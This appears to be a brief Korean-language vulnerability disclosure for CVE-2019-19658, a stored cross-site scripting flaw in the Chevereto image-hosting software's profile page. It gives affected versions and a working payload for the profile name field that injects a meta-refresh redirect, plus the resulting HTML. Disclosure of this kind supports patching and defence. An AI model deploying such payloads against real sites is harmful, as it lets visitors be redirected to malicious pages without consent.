CVE-2019-19658

Chevereto 저장 XSS - 프로필 페이지에서 - 1.0.0 - 1.1.4 무료 버전, <= 3.13.5 Core. 일반 사용자가 프로필 이름에 HTML 및 스크립트를 입력할 수 있으며, 해당 내용이 프로필 페이지에서 실행됩니다.

/settings/profile

이름:

0;https://www.google.se" http-equiv="refresh" data="

프로필 페이지에서의 결과 (Google로 리디렉션됨):

<meta name="twitter:title" content="0;https://www.google.com" http-equiv="refresh" data=" (admin)">

등록된 사용자가 이름 필드에 스크립트를 주입합니다. 이 경우 사용자를 Google로 리디렉션합니다.

누군가 /test 프로필에 접속하면 리디렉션됩니다.